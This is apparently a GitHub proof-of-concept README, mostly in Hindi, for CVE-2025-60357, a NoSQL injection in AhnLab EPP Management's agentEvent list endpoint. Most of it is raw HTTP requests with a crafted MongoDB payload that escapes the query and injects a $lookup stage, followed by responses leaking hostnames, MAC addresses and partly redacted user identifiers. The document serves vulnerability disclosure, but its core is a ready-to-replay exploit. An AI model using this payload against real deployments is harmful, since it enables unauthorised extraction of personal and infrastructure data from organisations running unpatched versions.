nullbyte3117/cve-2025-60357CVE-2025-60357- NoSQL(MongoDB) इंजेक्शन POC
AhnLab EPP Management एक वैश्विक रूप से मान्यता प्राप्त अगली पीढ़ी का उन्नत एंडपॉइंट सुरक्षा प्लेटफ़ॉर्म है जो पैच प्रबंधन, उन्नत मैलवेयर पहचान, EDR और XDR क्षमताओं को एकीकृत करता है।
NoSQL(MongoDB) Injection को AhnLab EPP Management v1.0.14.32-6249 में एंडपॉइंट /api/console/ems/eventlog/agentEvent/list पर खोजा गया था, जिसके कारण संवेदनशील जानकारी और PII का खुलासा हुआ। प्रभावित एंडपॉइंट को अब पैच कर दिया गया है, क्योंकि AhnLab ने अगस्त 2024 में एक पैच संस्करण (P14.32 > P16.25) जारी किया था।
Exploit Title: ***AhnLab EPP Management(Centralised Endpoint Security Management) -NoSQL Injection in MongoDB , which led to sensitive info and PII disclosure***
Date: 24 May 2024
Vulnerable Version: (1.0.14.32-6249) and before
Fixed Version released (EPP Management version (P14.32 > P16.25)): August 2024
CVE : CVE-2025-60357
Vendor Homepage: https://www.ahnlab.com/en
Software Link:https://www.ahnlab.com/ko/product/epp-management
Product Reveiw:https://www.gartner.com/reviews/market/endpoint-protection-platforms/compare/product/ahnlab-edr-vs-ahnlab-epp
Refence Link: https://www.cvedetails.com/cve/CVE-2025-60357
'agentEvent' मॉड्यूल के अंतर्गत एप्लिकेशन के अनुरोध निकाय में MongoDB क्वेरी शामिल थी, जो प्रमाणित उपयोगकर्ताओं को, हमलावरों के रूप में, एप्लिकेशन से विशिष्ट जानकारी निकालने के लिए NoSQL इंजेक्शन तैयार करने की अनुमति देती है। हमने लुकअप ऑपरेशन क्वेरी को नीचे दिखाए अनुसार अनुरोध निकाय में जोड़ा।
'agentEvent' मॉड्यूल के अंतर्गत अनुरोध निकाय में "\$exists\:true}",4197,10],"data":[]}} शामिल था।
मैंने इस तैयार की गई MongoDB क्वेरी को बदल दिया '\$exists\:true}}},{\$lookup\:{"from":"tb_agent_event_log","localField":"_id","foreignField":"_id","as":"details"}},{\$match\:{"node_id": {\$exists\:true",4197,10],"data":[]}}'
POST /api/console/ems/eventlog/agentEvent/list HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json;charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: bearer <Reacted>
Content-Type: application/json;charset=utf-8
Content-Length: 180
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{"request":
{"action":"get_event_log_agent_event_list_custom",
"revision":"1",
"params":["6628bcfc8b8a3556549fb3ae",
"66293a8fd751df5dd61c868c",
"\\$exists\\:true}",4197,10],"data":[]}}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
content-type: application/json;charset=utf-8
content-length: 835
date: Thu, 25 Apr 2024 03:15:25 GMT
cache-control: no-cache,no-store,no-control
connection: close
{"error_code":"EPP-99999","error_msg":"\n{\"collection\" : \"tb_agent_event_log\", \"data\" : [{\"$match\": {\"_id\": {\"$gte\":{\"$oid\":\"6628bcfc8b8a3556549fb3ae\"}, \"$lte\":{\"$oid\":\"66293a8fd751df5dd61c868c\"}}, \"node_id\": {$exists:true}} }}, {\"$skip\": 4197},{\"$project\": {\"_id\":\"$_id\",\"client_time\":\"$client_time\",\"node_id\":\"$node_id\",\"ip\":\"$ip\",\"computer_name\":\"$computer_name\",\"login_id\":\"$login_id\",\"user_name\":\"$user_name\",\"mac\":\"$mac\",\"department\":\"$department\",\"log_string_id\":\"$log_string_id\", \"log_string_args\":\"$log_string_args\"}}, {\"$limit\": 10}]}\n ^","revision":1,"response":[]}
POST /api/console/ems/eventlog/agentEvent/list HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json;charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: bearer <Reacted>
Content-Type: application/json;charset=utf-8
Content-Length: 341
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{"request":
{"action":"get_event_log_agent_event_list_custom",
"revision":"1","params":["6628bcfc8b8a3556549fb3ae",
"66293a8fd751df5dd61c868c",
"\\$exists\\:true}}},{\\$lookup\\:{\"from\":\"tb_agent_event_log\",\"localField\":\"_id\",\"foreignField\":\"_id\",\"as\":\"details\"}},{\\$match\\:{\"node_id\": {\\$exists\\:true",4197,10],"data":[]}}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
content-type: application/json;charset=utf-8
content-length: 4516
date: Wed, 24 Apr 2024 10:52:13 GMT
cache-control: no-cache,no-store,no-control
connection: close
{"error_code":"EPP-00000",
"error_msg":"success",
"revision":1,
"response":[{"_id":{"timestamp":1713945876,
"counter":10472102,
"machineIdentifier":9144885,
"processIdentifier":22100,"timeSecond":1713945876,"time":1713945876000,"date":1713945876000},
"client_time":1713946136892,"node_id":2914,"ip":"Reacted.Reacted.Reacted",
"computer_name":"tiwaporn-k03","login_id":"Reacted","user_name":null,
"mac":"40-ef-0e-c5-13-37",
"department":"/group/<Reacted>/Reacted/Reacted.Reacted.0.0/Reacted.Reacted.226.0",
"log_string_id":"EPPAGENT_LOGID_21003","log_string_args":null},